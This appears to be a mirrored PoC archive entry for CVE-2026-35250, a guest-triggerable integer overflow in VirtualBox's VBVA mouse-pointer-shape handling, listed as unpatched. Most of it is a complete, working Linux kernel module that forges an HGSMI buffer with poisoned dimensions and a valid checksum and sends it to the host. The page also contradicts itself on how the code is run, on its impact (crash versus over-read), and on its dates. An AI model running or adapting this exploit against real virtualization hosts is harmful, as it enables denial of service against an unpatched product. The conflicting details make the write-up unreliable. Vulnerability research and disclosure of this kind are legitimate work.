PoC Archive PoC Archive
Low CVE-2026-35250 unpatched

VirtualBox DevVGA_VBVA Integer Overflow leading to Guest-Triggerable DoS (CVE-2026-35250)

by xooxo (AI-assisted finding) · 2026-07-05

CVSS 2.3/10
Severity
Low
CVE
CVE-2026-35250
Category
binary
Affected product
Oracle VirtualBox — DevVGA_VBVA.cpp
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherxooxo (AI-assisted finding)
CVE / AdvisoryCVE-2026-35250
Categorybinary
SeverityLow
CVSS Score2.3 (per source)
StatusPoC
Tagsvirtualbox, integer-overflow, dos, vbva, guest-to-host, cwe-190, ai-assisted-research
RelatedN/A

Affected Target

FieldValue
Software / SystemOracle VirtualBox — DevVGA_VBVA.cpp
Versions AffectedNot specified in source
Language / PlatformC exploit (kernel module / guest-side trigger)
Authentication RequiredLocal guest access (privileged guest)
Network Access RequiredNo

Summary

VirtualBox’s DevVGA_VBVA.cpp dimension-validation check uses a logical OR where an AND is required, letting a malicious guest supply width=0x80000001, height=16 and pass the bounds check. The resulting pointer-data size calculation (cbPointerData) then integer-overflows, corrupting memory used by the virtual graphics device and crashing the host-side VBoxSVGA emulation from an unprivileged or privileged guest context.


Vulnerability Details

Root Cause

ASSERT_GUEST_MSG_RETURN at DevVGA_VBVA.cpp:740-743 uses || instead of && when validating cursor/shape dimensions, allowing an oversized width to slip through if height is small.

Attack Vector

  1. From within a guest VM, issue a VBVA/cursor-shape-defining hypercall with width=0x80000001 and height=16.
  2. The flawed OR-based bounds check passes.
  3. cbPointerData computation overflows, corrupting adjacent memory in the host’s VBoxSVGA device emulation and crashing it.

Impact

A privileged guest can crash the host’s VirtualBox process (Denial of Service) via a malformed cursor-shape request.


Environment / Lab Setup

Target:   VirtualBox with VBoxSVGA graphics controller, affected DevVGA_VBVA.cpp version
Attacker: C compiler + a guest VM capable of issuing the crafted hypercall

Proof of Concept

PoC Script

See gfx1_exploit.c in this folder.

1
make && ./gfx1_exploit (run from within the target guest VM)

Builds and sends a malformed VBVA cursor-shape request with the crafted width/height pair to trigger the integer overflow and crash the host VM process.


Detection & Indicators of Compromise

Signs of compromise:

  • Host VirtualBox process crashes correlated with guest VBVA/cursor-shape activity

Remediation

ActionDetail
Primary fixApply the upstream VirtualBox fix correcting the OR/AND logic in DevVGA_VBVA.cpp once available
Interim mitigationDisable VBoxSVGA legacy cursor-shape features where not required; keep VirtualBox updated

References


Notes

Mirrored from https://github.com/xooxo/CVE-2026-35250 on 2026-07-05. Note: per the source README, this finding and PoC were AI-assisted/AI-written by the original researcher (their own stated disclosure), archived here as-is.

gfx1_exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
/*
 * GFX-1 PoC: VBVA Mouse Pointer Shape Integer Overflow
 *
 * Demonstrates CVE-worthy bug in VirtualBox DevVGA_VBVA.cpp:740-741
 * where || is used instead of && in dimension validation:
 *
 *   ASSERT_GUEST_MSG_RETURN(   SafeShape.u32Width  <= s_cxMax
 *                           || SafeShape.u32Height <= s_cyMax, ...)
 *
 * This allows Width > 2048 as long as Height <= 2048, causing integer
 * overflow in cbPointerData computation.  The host allocates a tiny
 * buffer but stores huge width/height, leading to heap over-read when
 * the host display driver processes the cursor shape.
 *
 * Trigger path (no Guest Additions required):
 *   guest writes HGSMI buffer to VRAM → outl(offset, 0x3D0)
 *   → HGSMIGuestWrite → HGSMIBufferProcess → vbvaChannelHandler
 *   → vbvaMousePointerShape → integer overflow → small RTMemAlloc
 *   → pfnVBVAMousePointerShape with bogus width/height
 *
 * Usage: insmod gfx1_exploit.ko
 *        dmesg | grep gfx1_poc
 *        rmmod gfx1_exploit
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>
#include <linux/io.h>
#include <linux/delay.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Research");
MODULE_DESCRIPTION("GFX-1: VBVA mouse pointer shape integer overflow PoC");

#define VBOX_VGA_VENDOR  0x80ee
#define VBOX_VGA_DEVICE  0xbeef

/* HGSMI port for guest commands */
#define VGA_PORT_HGSMI_GUEST  0x3D0

/* HGSMI channel and command IDs */
#define HGSMI_CH_VBVA               0x02
#define VBVA_MOUSE_POINTER_SHAPE    8

/* Mouse pointer flags */
#define VBOX_MOUSE_POINTER_VISIBLE  0x0001
#define VBOX_MOUSE_POINTER_SHAPE    0x0004

/* HGSMI buffer header (16 bytes, packed) */
struct hgsmi_buffer_header {
    uint32_t u32DataSize;
    uint8_t  u8Flags;
    uint8_t  u8Channel;
    uint16_t u16ChannelInfo;
    uint32_t u32Reserved1;
    uint32_t u32Reserved2;
} __packed;

/* HGSMI buffer tail (8 bytes, packed) */
struct hgsmi_buffer_tail {
    uint32_t u32Reserved;
    uint32_t u32Checksum;
} __packed;

/* VBVAMOUSEPOINTERSHAPE (24 bytes header + variable data) */
struct vbva_mouse_pointer_shape {
    int32_t  i32Result;
    uint32_t fu32Flags;
    uint32_t u32HotX;
    uint32_t u32HotY;
    uint32_t u32Width;
    uint32_t u32Height;
    /* au8Data follows */
} __packed;

/*
 * One-at-a-time hash — exact replica of HGSMICommon.cpp
 */
static uint32_t hgsmi_hash_process(uint32_t hash, const void *data, size_t len)
{
    const uint8_t *p = data;
    while (len--) {
        hash += *p++;
        hash += (hash << 10);
        hash ^= (hash >> 6);
    }
    return hash;
}

static uint32_t hgsmi_hash_end(uint32_t hash)
{
    hash += (hash << 3);
    hash ^= (hash >> 11);
    hash += (hash << 15);
    return hash;
}

static uint32_t hgsmi_checksum(uint32_t offset,
                               const struct hgsmi_buffer_header *hdr,
                               uint32_t tail_reserved)
{
    uint32_t hash = 0; /* hgsmiHashBegin() */
    hash = hgsmi_hash_process(hash, &offset, sizeof(offset));
    hash = hgsmi_hash_process(hash, hdr, sizeof(*hdr));
    hash = hgsmi_hash_process(hash, &tail_reserved, sizeof(tail_reserved));
    return hgsmi_hash_end(hash);
}

/*
 * Demonstrate the integer overflow arithmetic (for dmesg logging).
 *
 * With Width=0x80000001, Height=16:
 *   AND mask: (((W+7)/8) * H + 3) & ~3
 *           = (0x10000001 * 16 + 3) & ~3
 *           = (0x00000010 + 3) & ~3           [overflow!]
 *           = 16
 *   XOR mask: W * 4 * H
 *           = 0x00000004 * 16                 [overflow!]
 *           = 64
 *   cbPointerData = 16 + 64 = 80             [should be ~12 GB]
 */
#define POISON_WIDTH   0x80000001U
#define POISON_HEIGHT  16U

/* The overflowed cbPointerData value */
#define CB_POINTER_DATA  80U

/* VBVAMOUSEPOINTERSHAPE fields before au8Data */
#define SHAPE_HEADER_SIZE  24U

/* We need u32DataSize >= CB_POINTER_DATA + SHAPE_HEADER_SIZE = 104 */
#define HGSMI_DATA_SIZE    128U

/* Place buffer well past display framebuffer area */
#define BUFFER_VRAM_OFFSET  0x00100000U  /* 1 MB into VRAM */

static struct pci_dev *vga_dev;
static void __iomem *vram_map;   /* mapped window (just the page we need) */
static resource_size_t vram_size;
static resource_size_t map_phys;
static resource_size_t map_size;

static int __init gfx1_init(void)
{
    struct hgsmi_buffer_header hdr;
    struct hgsmi_buffer_tail tail;
    struct vbva_mouse_pointer_shape shape;
    uint32_t checksum;
    void __iomem *buf_base;
    uint32_t total_buf_size;
    int32_t result;
    resource_size_t bar_start;

    pr_info("gfx1_poc: Loading GFX-1 VBVA mouse pointer overflow PoC\n");

    /* Find VirtualBox VGA device */
    vga_dev = pci_get_device(VBOX_VGA_VENDOR, VBOX_VGA_DEVICE, NULL);
    if (!vga_dev) {
        pr_err("gfx1_poc: VBox VGA device [%04x:%04x] not found\n",
               VBOX_VGA_VENDOR, VBOX_VGA_DEVICE);
        return -ENODEV;
    }
    pr_info("gfx1_poc: Found VBox VGA at %s\n", pci_name(vga_dev));

    /* Get VRAM (BAR 0) size and base */
    vram_size = pci_resource_len(vga_dev, 0);
    bar_start = pci_resource_start(vga_dev, 0);
    if (vram_size == 0 || bar_start == 0) {
        pr_err("gfx1_poc: BAR 0 invalid (start=0x%llx, size=0x%llx)\n",
               (unsigned long long)bar_start, (unsigned long long)vram_size);
        pci_dev_put(vga_dev);
        return -ENOMEM;
    }
    pr_info("gfx1_poc: VRAM BAR 0: phys 0x%llx size 0x%llx\n",
            (unsigned long long)bar_start, (unsigned long long)vram_size);

    total_buf_size = sizeof(struct hgsmi_buffer_header) + HGSMI_DATA_SIZE
                   + sizeof(struct hgsmi_buffer_tail);

    if (BUFFER_VRAM_OFFSET + total_buf_size > vram_size) {
        pr_err("gfx1_poc: VRAM too small for buffer at offset 0x%x\n",
               BUFFER_VRAM_OFFSET);
        pci_dev_put(vga_dev);
        return -ENOMEM;
    }

    /*
     * Map only a small window around our buffer, not the entire VRAM.
     * This avoids ioremap failures when VRAM is large (16-256 MB) and
     * the existing framebuffer driver already holds the region.
     */
    map_phys = bar_start + (BUFFER_VRAM_OFFSET & PAGE_MASK);
    map_size = PAGE_ALIGN(total_buf_size + (BUFFER_VRAM_OFFSET & ~PAGE_MASK)) + PAGE_SIZE;

    vram_map = ioremap(map_phys, map_size);
    if (!vram_map) {
        pr_err("gfx1_poc: Failed to ioremap VRAM window "
               "(phys 0x%llx, size 0x%llx)\n",
               (unsigned long long)map_phys, (unsigned long long)map_size);
        pci_dev_put(vga_dev);
        return -ENOMEM;
    }
    pr_info("gfx1_poc: Mapped VRAM window at %p (phys 0x%llx + 0x%llx)\n",
            vram_map, (unsigned long long)map_phys, (unsigned long long)map_size);

    /*
     * Build HGSMI buffer in VRAM at BUFFER_VRAM_OFFSET
     *
     * Layout:
     *   +0x00: HGSMIBUFFERHEADER (16 bytes)
     *   +0x10: payload = VBVAMOUSEPOINTERSHAPE (128 bytes)
     *   +0x90: HGSMIBUFFERTAIL (8 bytes)
     *   Total: 152 bytes
     */
    /* buf_base = mapped window base + offset within the mapped page */
    buf_base = vram_map + (BUFFER_VRAM_OFFSET - (BUFFER_VRAM_OFFSET & PAGE_MASK));

    /* --- Header --- */
    memset(&hdr, 0, sizeof(hdr));
    hdr.u32DataSize    = HGSMI_DATA_SIZE;        /* 128 */
    hdr.u8Flags        = 0x00;                   /* SEQ_SINGLE */
    hdr.u8Channel      = HGSMI_CH_VBVA;          /* 0x02 */
    hdr.u16ChannelInfo = VBVA_MOUSE_POINTER_SHAPE; /* 8 */
    hdr.u32Reserved1   = 0;
    hdr.u32Reserved2   = 0;

    /* --- Payload (mouse pointer shape) --- */
    memset(&shape, 0, sizeof(shape));
    shape.i32Result  = 0;
    shape.fu32Flags  = VBOX_MOUSE_POINTER_VISIBLE | VBOX_MOUSE_POINTER_SHAPE;
    shape.u32HotX    = 0;
    shape.u32HotY    = 0;
    shape.u32Width   = POISON_WIDTH;    /* 0x80000001 — passes || check */
    shape.u32Height  = POISON_HEIGHT;   /* 16 — satisfies height <= 2048 */

    /* --- Tail --- */
    memset(&tail, 0, sizeof(tail));
    tail.u32Reserved = 0;

    /* Compute checksum: hash(offset, header, tail.u32Reserved) */
    checksum = hgsmi_checksum(BUFFER_VRAM_OFFSET, &hdr, tail.u32Reserved);
    tail.u32Checksum = checksum;

    pr_info("gfx1_poc: HGSMI checksum = 0x%08x\n", checksum);
    pr_info("gfx1_poc: Malicious shape: %ux%u (should overflow cbPointerData to %u)\n",
            POISON_WIDTH, POISON_HEIGHT, CB_POINTER_DATA);

    /* Verify overflow arithmetic */
    {
        uint32_t w = POISON_WIDTH, h = POISON_HEIGHT;
        uint32_t and_mask = ((((w + 7) / 8) * h + 3) & ~3U);
        uint32_t xor_mask = w * 4 * h;
        uint32_t cb = and_mask + xor_mask;
        pr_info("gfx1_poc: Overflow check: AND=%u XOR=%u cbPointerData=%u\n",
                and_mask, xor_mask, cb);
        pr_info("gfx1_poc: Real data needed: ~%llu bytes (AND) + ~%llu bytes (XOR)\n",
                (unsigned long long)((((uint64_t)w + 7) / 8) * h),
                (unsigned long long)((uint64_t)w * 4 * h));
    }

    /* Zero the entire buffer region in VRAM first */
    memset_io(buf_base, 0, total_buf_size);

    /* Write header to VRAM */
    memcpy_toio(buf_base, &hdr, sizeof(hdr));

    /* Write shape payload to VRAM (after header) */
    memcpy_toio(buf_base + sizeof(hdr), &shape, sizeof(shape));
    /* Remaining payload bytes (128 - 24 = 104 bytes of au8Data area)
     * are already zeroed — serves as dummy pixel data */

    /* Write tail to VRAM */
    memcpy_toio(buf_base + sizeof(hdr) + HGSMI_DATA_SIZE, &tail, sizeof(tail));

    pr_info("gfx1_poc: HGSMI buffer written at VRAM offset 0x%x\n",
            BUFFER_VRAM_OFFSET);
    pr_info("gfx1_poc: Triggering via outl(0x%x, 0x%x)...\n",
            BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);

    /* Fire! Write the buffer offset to the HGSMI guest port */
    outl(BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);

    /* Small delay for host processing */
    mdelay(100);

    /* Read back i32Result from the payload in VRAM */
    result = readl(buf_base + sizeof(hdr));  /* first field of shape */
    pr_info("gfx1_poc: i32Result = %d (0=success, negative=VBox error)\n", result);

    if (result == 0) {
        pr_info("gfx1_poc: *** COMMAND ACCEPTED ***\n");
        pr_info("gfx1_poc: Host allocated %u bytes for a %ux%u cursor\n",
                CB_POINTER_DATA, POISON_WIDTH, POISON_HEIGHT);
        pr_info("gfx1_poc: The host display driver now has a cursor shape with\n");
        pr_info("gfx1_poc: dimensions 2147483649x16 but only 80 bytes of pixel data.\n");
        pr_info("gfx1_poc: === GFX-1 INTEGER OVERFLOW CONFIRMED ===\n");
    } else if (result == -22) {
        /* VERR_INVALID_PARAMETER = -22 in VBox error codes */
        pr_info("gfx1_poc: Command rejected with VERR_INVALID_PARAMETER\n");
        pr_info("gfx1_poc: The validation caught the bad dimensions (bug may be fixed)\n");
    } else {
        pr_info("gfx1_poc: Unexpected result code: %d\n", result);
    }

    return 0;
}

static void __exit gfx1_exit(void)
{
    if (vram_map)
        iounmap(vram_map);
    if (vga_dev)
        pci_dev_put(vga_dev);
    pr_info("gfx1_poc: Unloaded\n");
}

module_init(gfx1_init);
module_exit(gfx1_exit);